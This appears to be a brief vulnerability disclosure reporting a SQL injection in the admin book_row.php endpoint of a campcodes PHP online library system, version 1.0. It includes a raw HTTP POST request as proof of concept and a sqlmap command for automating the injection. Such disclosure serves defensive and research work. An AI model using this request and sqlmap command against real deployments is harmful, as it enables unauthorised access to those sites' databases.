libsystem foreground SQL injection vulnerability 5

heishou
Dec 29, 2023

--

Author: Heishou
Affected Version: 1.0
Manufacturer: www.campcodes.com/
Download Address:
https://www.campcodes.com/downloads/online-college-library-system-using-php-mysqli-source-code/?wpdmdl=3277&refresh=658a63d73b4b31703568343
Vulnerability Description:
SQL injection vulnerability in foreground
Environment:

Code Analysis:
The hole. An attack can construct malicious input to inject arbitrary SQL statements and perform unauthorize actions.

POC

POST /libsystem/admin/book_row.php HTTP/1.1
Host: localhost
Content-Length: 4
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/libsystem/admin/book.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=br4agt4sl0uctkh9hn8p8fmam7
Connection: close

id=2

Sqlmap:python sqlmap.py -r 4.txt

--

--